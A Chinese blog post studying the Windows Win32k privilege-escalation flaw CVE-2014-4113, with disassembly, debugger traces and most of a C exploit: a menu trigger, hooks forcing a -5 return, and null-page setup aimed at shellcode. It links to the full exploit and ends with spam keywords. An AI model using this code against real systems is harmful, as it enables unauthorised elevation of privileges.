<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CVE-2014-4113提權漏洞學習筆記

    一顆小胡椒2022-04-01 16:42:44

    一、前言

    1.漏洞描述

    該漏洞發生的位置是在驅動文件Win32k.sys中的xxxHandleMenuMessage函數,產生的原因是沒有對該函數中調用的xxxMNFindWindowFromPoint函數的返回值進行合法性驗證,直接將其作為參數傳遞給后面的xxxSendMessage函數調用,從而造成了提權漏洞。

    2.實驗環境

    • 操作系統:Win7 x86 sp1 專業版
    • 編譯器:Visual Studio 2017
    • 調試器:IDA Pro,WinDbg

    二、漏洞分析

    1.靜態分析

    通過IDA直接查看xxxHandleMenuMessage函數,可以在其中看到,在該函數中,會首先調用xxxMNFindWindowFromPoint函數,然后將該函數的返回值作為第一個參數被下面的xxxSendMessage函數調用。

    xxxSendMessage函數是通過調用xxxSendMessageTimeout函數來實現的,而在xxxSendMessageTimeout中會有如下的代碼:

    .text:BF8B94E8                 push    [ebp+Src].text:BF8B94EB                 push    dword ptr [ebp+UnicodeString].text:BF8B94EE                 push    ebx.text:BF8B94EF                 push    esi.text:BF8B94F0                 call    dword ptr [esi+60h].text:BF8B94F3                 mov     ecx, [ebp+arg_18].text:BF8B94F6                 test    ecx, ecx.text:BF8B94F8                 jz      loc_BF8B9591
    

    此時esi保存的就是xxxSendMessage第一個參數的值,也就是說此時esi=iRet。因此,如果xxxMNFindWindowFromPoint函數的返回值為-5的話,那么,此時call dword ptr [esi + 0x60]就會是call dword ptr [-5 + 0x60],就等于call dword ptr [0x5B]。此時,可以通過在0x5B處保存要執行的ShellCode的地址,那么此處的call dword ptr [esi+0x60]就會執行指定的ShellCode。

    而在xxxMNFindWindowFromPoint函數中,會調用xxxSendMessage來發送一個0x1EB的消息。如果xxxSendMessage函數的返回值非0的話(比如-5),那么該返回值就會作為xxxMNFindWindowFromPoint函數的返回值返回回去。

    這里IDA反編譯的結果出了問題,在反匯編的代碼中是可以看到,此處的xxxSendMessage函數發送的消息是0x1EB的消息:

    .text:BF9395E4                 push    eax             ; Src.text:BF9395E5                 lea     eax, [ebp+UnicodeString].text:BF9395E8                 push    eax             ; UnicodeString.text:BF9395E9                 push    1EBh            ; MbString.text:BF9395EE                 push    dword ptr [edi+0Ch] ; P.text:BF9395F1                 call    _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x).text:BF9395F6                 mov     esi, eax
    

    2.動態分析

    運行exp,在xxxMNFindWindowFromPoint函數發送消息的地址下斷點。

    中斷以后,調用函數發送消息,然后查看返回值可以看到此時的返回值就是-5。

    kd> gBreakpoint 0 hitwin32k!xxxMNFindWindowFromPoint+0x53:838995f1 e8a7fff7ff      call    win32k!xxxSendMessage (8381959d)kd> pwin32k!xxxMNFindWindowFromPoint+0x58:838995f6 8bf0            mov     esi,eaxkd> r eaxeax=fffffffb
    

    繼續運行到xxxMNFindWindowFromPoint函數返回前,可以看到此時的返回值為-5。

    繼續向下運行到xxxSendMessageTimeout調用函數處的call dword ptr [esi + 60h],可以看到此時的esi等于-5,而0x5B保存了要執行的ShellCode的地址。

    繼續運行,就會運行ShellCode的代碼完成提權。

    三、漏洞利用

    想要成功觸發該漏洞,需要使用TrackPopupMenu函數,該函數定義如下:

    BOOL TrackPopupMenu(HMENU hMenu,           UINT uFlags,           int x,           int y,              int nReserved,           HWND hWnd,              const RECT* prcRect);
    

    其中第一個參數hMenu是一個pop-up菜單,第六個參數hWnd則是擁有該菜單的窗口句柄,因此在exp中要創建好這些窗口,然后調用函數觸發漏洞:

        HWND hWnd = NULL;    WNDCLASS wc = { 0 };    HMENU hMenu1 = NULL, hMenu2 = NULL;    MENUITEMINFO Item1 = { 0 }, Item2 = { 0 };     memset(&wc, 0, sizeof(wc));     wc.hInstance = GetModuleHandle(NULL);    wc.lpfnWndProc = WndProc;    wc.lpszClassName = "1900";     if (!RegisterClassA(&wc))    {        ShowError("RegisterClassA", GetLastError());        bRet = FALSE;        goto exit;    }     hWnd = CreateWindowA(wc.lpszClassName,                   "",                   WS_OVERLAPPEDWINDOW | WS_VISIBLE,                   0,                   0,                   640,                   480,                   NULL,                   NULL,                   wc.hInstance,                   NULL);    if (!hWnd)    {        ShowError("CreateWindowEx", GetLastError());        bRet = FALSE;        goto exit;    }     hMenu1 = CreatePopupMenu();    if (!hMenu1)    {        ShowError("CreatePopupMenu", GetLastError());        bRet = FALSE;        goto exit;    }     memset(&Item1, 0, sizeof(Item1));    memset(&Item2, 0, sizeof(Item2));     Item1.cbSize = sizeof(Item1);    Item1.fMask = MIIM_STRING;    if (!InsertMenuItemA(hMenu1, 0, TRUE, &Item1))    {        ShowError("InsertMenuItemA 1", GetLastError());        bRet = FALSE;        goto exit;    }     hMenu2 = CreatePopupMenu();    if (!hMenu2)    {        ShowError("CreatePopupMenu 2", GetLastError());        bRet = FALSE;        goto exit;    }     Item2.fMask = MIIM_STRING | MIIM_SUBMENU;    Item2.dwTypeData = "";    Item2.cch = 1;    Item2.hSubMenu = hMenu1;    Item2.cbSize = sizeof(Item2);     if (!InsertMenuItemA(hMenu2, 0, TRUE, &Item2))    {        ShowError("InsertMenuItemA 2", GetLastError());        bRet = FALSE;        goto exit;    }     // 觸發漏洞    if (!TrackPopupMenu(hMenu2, 0, 0, 0, 0, hWnd, NULL))    {        ShowError("TrackPopupMenu", GetLastError());        bRet = FALSE;        goto exit;    }
    

    同時,在主窗口的處理函數中,也需要進行判斷。如果窗口處于空閑狀態,需要通過PostMessage函數來模擬鼠標和鍵盤的操作,這樣才能成功發送0x1EB的消息來達到漏洞點:

    LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam){    // 如果窗口處于空間狀態    if (uMsg == WM_ENTERIDLE)    {        PostMessageA(hWnd, WM_KEYDOWN, VK_DOWN, 0);        PostMessageA(hWnd, WM_KEYDOWN, VK_RIGHT, 0);        PostMessageA(hWnd, WM_LBUTTONDOWN, 0, 0);    }     return DefWindowProcA(hWnd, uMsg, wParam, lParam);}
    

    為了讓xxxSendMessage函數返回-5觸發漏洞,還需要通過SetWindowHook來加入鉤子函數。

    HHOOK winHook = SetWindowsHookExA(WH_CALLWNDPROC,                     WndProcHook,                     NULL,                     GetCurrentThreadId());if (winHook == NULL){    ShowError("SetWindowsHookExA", GetLastError());    bRet = FALSE;    goto exit;}
    

    在鉤子函數中,攔截0x1EB的消息,通過SetWindowLongA函數來修改菜單窗口的屬性。這里的第二個參數傳入的是GWL_WNDPROC,意味著修改的是窗口的處理函數。

    LRESULT CALLBACK WndProcHook(int nCode, WPARAM wParam, LPARAM lParam){    CWPSTRUCT *pWndProcArgs = (CWPSTRUCT *)lParam;     if (pWndProcArgs->message == 0x1EB)    {        if (UnhookWindowsHook(WH_CALLWNDPROC, WndProcHook))        {            lpPrevWndFunc = (WNDPROC)SetWindowLongA(pWndProcArgs->hwnd,                                GWL_WNDPROC,                                (LONG)MenuWndProc);            if (lpPrevWndFunc == 0)            {                ShowError("SetWindowLongA", GetLastError());            }        }    }     return CallNextHookEx(NULL, nCode, wParam, lParam);}
    

    在窗口處理函數中,如果接收的消息是0x1EB的消息,則調用EndMenu函數銷毀窗口且返回-5來觸發漏洞。

    LRESULT CALLBACK MenuWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam){    if (uMsg == 0x1EB)    {        EndMenu();        return -5;    }     return CallWindowProcA(lpPrevWndFunc, hWnd, uMsg, wParam, lParam);}
    

    最后,由于在xxxSendMessageTimeout中還有如下的驗證:

    此時的p就是傳遞的-5,所以在0地址申請內存成功以后,除了將0x5B地址的內容修改為ShellCode的地址外,還需要將0x3和0x11處的數據修改為如下數據:

    BOOL Init(){    BOOL bRet = TRUE;     // 在0地址申請內存成功    if (AllocateZeroMemory())    {        *(DWORD*)(0x3) = GetPtiCurrent();        *(BYTE*)(0x11) = (BYTE)4;        *(DWORD*)(0x5B) = (DWORD)ShellCode;    }    else bRet = FALSE;     return bRet;} DWORD GetPtiCurrent(){    __asm    {        mov eax, fs:[0x18]        mov eax, [eax + 0x40]    }}
    

    四、運行結果

    完整代碼的鏈接為:https://github.com/LegendSaber/exp/blob/master/exp/CVE-2014-4113.cpp

    最后在系統上運行結果如下,可以看到提權成功。

    dword
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    EXP編寫學習之繞過GS
    2023-02-20 09:58:16
    棧中的守護天使 :GSGS原理向棧內壓入一個隨機的DWORD值,這個隨機數被稱為canary ,IDA稱為 Security Cookie。Security Cookie 放入 ebp前,并且data節中存放一個 Security Cookie的副本。棧中發生溢出時,Security Cookie首先被淹沒,之后才是ebp和返回地址。函數返回之前,會添加一個Security Cookie驗證操作,稱為Security Check。檢測到溢出時,系統將進入異常處理流程,函數不會正常返回,ret也不會被執行。函數使用無保護的關鍵字標記。緩沖區不是8字節類型 且 大小不大于4個字節。可以為函數強制啟用GS。
    0x01 進程遍歷因為進程是在隨時進行變動的所以我們需要獲取一張快照1.1 CreateToolhelp32
    MITM Fuzz下圖是用戶層與內核層實現通信的過程,可以看到,最后是通過NtDeviceIoControlFile來分發給相應驅動對象的派遣函數的,因此,可以通過對該函數進行HOOK操作。如果將修改以后的數據發送給NtDeviceIoControlFile函數以后,發生了內核崩潰或藍屏,往往預示著該驅動程序可能存在內核漏洞。
    windows下利用cmd開啟3389端口
    Hex Comparison注冊分析
    2023-10-12 10:49:49
    在學習Flexlm ECC patch過程中,需要對比下別人patch的exe和原本exe的差異,使用到這款Hex Comparison這款二進制比較工具。那么就先來學習一下這款軟件的注冊機制。
    如果成功連接到管道, 使用WriteFile函數將shellcode數據寫入已連接的命名管道。使用IDA分析檢查導出函數:第一個是反射式DLL注入,限于篇幅,在本篇中不展開分析第二個是DLL的入口函數。在后續的文章中,會根據檢測特征和csprofile的繞過按照專題進行分析。同時,大部分的CS檢測特征都是在此。而在后續的文章分析中,將會著重的分析CS beacon中使用到的幾種DLL注入方式;beacon config的檢測;同時結合CS profile 的配置,研究一下CS的對抗檢測方式。
    x32TLS回調函數實驗
    2023-05-31 09:34:55
    TLS回調函數介紹TLS回調函數是在程序運行時由操作系統自動調用的一組函數,用于在進程加載和卸載時執行一些初始化和清理操作。在TLS回調函數中,可以訪問當前線程的TLS數據,并對其進行修改或檢查。值得一提的是TLS回調可以用來反調試,原理實為在實際的入口點代碼執行之前執行檢測調試器代碼。為了棧平衡,我們要把傳進這個回調函數的參數所占用的
    進來之后,我們就可以在攻擊機上面控制win7靶機了,先查看開放的端口有沒有3389.3、命令行打開3389遠程連接端口netstat -an. 顯示successful,再次確認查看遠程連接端口是否開啟:netstat -an|find "3389". 現在分別講講各自的用法吧:5.1、xfreerdp工具①首先是xfreerdp的,命令格式如下:很容易理解,/u就是用戶名,/p是密碼,/v是靶機(目標)的地址 /size就是圖形化界面的大小而已。輸入y按下回車,等待界面出現5.2、xfreerdp工具②然后是rdesktop,命令格式很簡單:rdesktop 192.168.25.132
    概述在windows系統上,涉及到內核對象的功能函數,都需要從應用層權限轉換到內核層權限,然后再執行想要的內核函數,最終將函數結果返回給應用層。本文就是用OpenProcess函數來觀察函數從應用層到內核層的整體調用流程。OpenProcess函數,根據指定的進程ID,返回進程句柄。NTSTATUS Status; //保存函數執行狀態。OBJECT_ATTRIBUTES Obja; //待打開對象的對象屬性。HANDLE Handle; //存儲打開的句柄。CLIENT_ID ClientId; //進程、線程ID. dwDesiredAccess, //預打開進程并獲取對應的權限。ObjectNamePresent = ARGUMENT_PRESENT ; //判斷對象名稱是否為空
    可在其中找受影響的版本復現,在受影響版本的系統中找到win32k.sys導入IDA。漏洞函數位于win32k.sys的SetImeInfoEx()函數,該函數在使用一個內核對象的字段之前并沒有進行是否為空的判斷,當該值為空時,函數直接讀取零地址內存。如果在當前進程環境中沒有映射零頁面,該函數將觸發頁面錯誤異常,導致系統藍屏發生。tagWINDOWSTATIONspklList對象的結構為:漏洞觸發驗證查看SSDT表dd KeServiceDescriptorTabledds Address L11C 顯示地址里面值指向的地址. 以4個字節顯示。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类